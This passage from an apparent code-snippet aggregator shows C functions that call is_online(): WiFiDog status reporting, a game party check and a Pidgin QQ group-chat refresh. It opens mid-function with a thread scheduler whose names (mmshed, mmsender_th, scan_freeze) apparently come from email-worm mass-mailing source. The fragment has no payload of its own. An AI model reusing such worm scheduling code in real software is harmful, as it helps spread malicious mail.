			queue_status = 2;
			scan_freeze(0);
			if ((queue_total >= 3) && last_req_tick && ((GetTickCount() - last_req_tick) >= MMSHED_GENTIMEOUT)) {
				mm_gen();
				Sleep(128);
			} else {
				Sleep(1024);
			}
			continue;
		}

		if (mmshed_run_threads >= MMSHED_THREADS) {
			Sleep(256);
			continue;
		}

		mq_best->state = 1;
		hThread = CreateThread(0, 0, mmsender_th, (LPVOID)mq_best, 0, &tid);
		if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) {
			mq_best->state = 2;
			Sleep(1024);
			continue;
		}
		CloseHandle(hThread);

		Sleep(256);
	}
}
Beispiel #28
0
// returns 1 if combat is multiplayer (party) or 0 when single
int combat_ismulti() {
if (is_online(partymember1.id) || is_online(partymember2.id))
	return 1;

return 0;
}
Beispiel #29
0
        /*
         * @return A string containing human-readable status text. MUST BE free()d by caller
         */
char *
get_status_text()
{
    pstr_t *pstr = pstr_new();
    s_config *config;
    t_auth_serv *auth_server;
    t_client *sublist, *current;
    int count;
    time_t uptime = 0;
    unsigned int days = 0, hours = 0, minutes = 0, seconds = 0;
    t_trusted_mac *p;
	t_offline_client *oc_list;

    pstr_cat(pstr, "WiFiDog status\n\n");

    uptime = time(NULL) - started_time;
    days = (unsigned int)uptime / (24 * 60 * 60);
    uptime -= days * (24 * 60 * 60);
    hours = (unsigned int)uptime / (60 * 60);
    uptime -= hours * (60 * 60);
    minutes = (unsigned int)uptime / 60;
    uptime -= minutes * 60;
    seconds = (unsigned int)uptime;

    pstr_cat(pstr, "Version: " VERSION "\n");
    pstr_append_sprintf(pstr, "Uptime: %ud %uh %um %us\n", days, hours, minutes, seconds);
    pstr_cat(pstr, "Has been restarted: ");

    if (restart_orig_pid) {
        pstr_append_sprintf(pstr, "yes (from PID %d)\n", restart_orig_pid);
    } else {
        pstr_cat(pstr, "no\n");
    }

    pstr_append_sprintf(pstr, "Internet Connectivity: %s\n", (is_online()? "yes" : "no"));
    pstr_append_sprintf(pstr, "Auth server reachable: %s\n", (is_auth_online()? "yes" : "no"));
    pstr_append_sprintf(pstr, "Clients served this session: %lu\n\n", served_this_session);

    LOCK_CLIENT_LIST();

    count = client_list_dup(&sublist);

    UNLOCK_CLIENT_LIST();

    current = sublist;

    pstr_append_sprintf(pstr, "%d clients " "connected.\n", count);

    count = 1;
    while (current != NULL) {
        pstr_append_sprintf(pstr, "\nClient %d status [%d]\n", count, current->is_online);
        pstr_append_sprintf(pstr, "  IP: %s MAC: %s\n", current->ip, current->mac);
        pstr_append_sprintf(pstr, "  Token: %s\n", current->token);
        pstr_append_sprintf(pstr, "  First Login: %lld\n", (long long)current->first_login);
        pstr_append_sprintf(pstr, "  Name: %s\n", current->name != NULL?current->name:"null");
        pstr_append_sprintf(pstr, "  Downloaded: %llu\n  Uploaded: %llu\n", current->counters.incoming,
                            current->counters.outgoing);
        count++;
        current = current->next;
    }

    client_list_destroy(sublist);

	LOCK_OFFLINE_CLIENT_LIST();
    pstr_append_sprintf(pstr, "%d clients " "unconnected.\n", offline_client_number());
	oc_list = client_get_first_offline_client();
	while(oc_list != NULL) {	
        pstr_append_sprintf(pstr, "  IP: %s MAC: %s Last Login: %lld Hit Counts: %d Client Type: %d Temp Passed: %d\n", 
			oc_list->ip, oc_list->mac, (long long)oc_list->last_login, 
			oc_list->hit_counts, oc_list->client_type, oc_list->temp_passed);
		oc_list = oc_list->next;
	}
	UNLOCK_OFFLINE_CLIENT_LIST();

    config = config_get_config();

    LOCK_CONFIG();

    if (config->trustedmaclist != NULL) {
        pstr_cat(pstr, "\nTrusted MAC addresses:\n");

        for (p = config->trustedmaclist; p != NULL; p = p->next) {
            pstr_append_sprintf(pstr, "  %s\n", p->mac);
        }
    }

    pstr_cat(pstr, "\nAuthentication servers:\n");


    for (auth_server = config->auth_servers; auth_server != NULL; auth_server = auth_server->next) {
        pstr_append_sprintf(pstr, "  Host: %s (%s)\n", auth_server->authserv_hostname, auth_server->last_ip);
    }

    UNLOCK_CONFIG();

    return pstr_to_string(pstr);
}
Beispiel #30
0
/* refresh online member in group conversation window */
void qq_group_conv_refresh_online_member(PurpleConnection *gc, qq_group *group)
{
	GList *names, *list, *flags;
	qq_buddy *member;
	gchar *member_name, *member_uid;
	PurpleConversation *conv;
	gint flag;
	g_return_if_fail(group != NULL);

	names = NULL;
	flags = NULL;
	conv = purple_find_conversation_with_account(PURPLE_CONV_TYPE_CHAT,
			group->group_name_utf8, purple_connection_get_account(gc));
	if (conv != NULL && group->members != NULL) {
		list = group->members;
		while (list != NULL) {
			member = (qq_buddy *) list->data;

			/* we need unique identifiers for everyone in the chat or else we'll
			 * run into problems with functions like get_cb_real_name from qq.c */
			member_name =   (member->nickname != NULL && *(member->nickname) != '\0') ?
					g_strdup_printf("%s (qq-%u)", member->nickname, member->uid) :
					g_strdup_printf("(qq-%u)", member->uid);
			member_uid = g_strdup_printf("(qq-%u)", member->uid);

			flag = 0;
			/* TYPING to put online above OP and FOUNDER */
			if (is_online(member->status))
				flag |= (PURPLE_CBFLAGS_TYPING | PURPLE_CBFLAGS_VOICE);
			if(1 == (member->role & 1)) flag |= PURPLE_CBFLAGS_OP;
			if(member->uid == group->creator_uid) flag |= PURPLE_CBFLAGS_FOUNDER;

			if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_name))
			{
				purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv),
						member_name,
						flag);
			} else if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_uid))
			{
				purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv),
						member_uid,
						flag);
				purple_conv_chat_rename_user(PURPLE_CONV_CHAT(conv), member_uid, member_name);
			} else {
				/* always put it even offline */
				names = g_list_append(names, member_name);
				flags = g_list_append(flags, GINT_TO_POINTER(flag));
			}
			g_free(member_uid);
			list = list->next;
		}

		purple_conv_chat_add_users(PURPLE_CONV_CHAT(conv), names, NULL, flags, FALSE);
	}
	/* clean up names */
	while (names != NULL) {
		member_name = (gchar *) names->data;
		names = g_list_remove(names, member_name);
		g_free(member_name);
	}
	g_list_free(flags);
}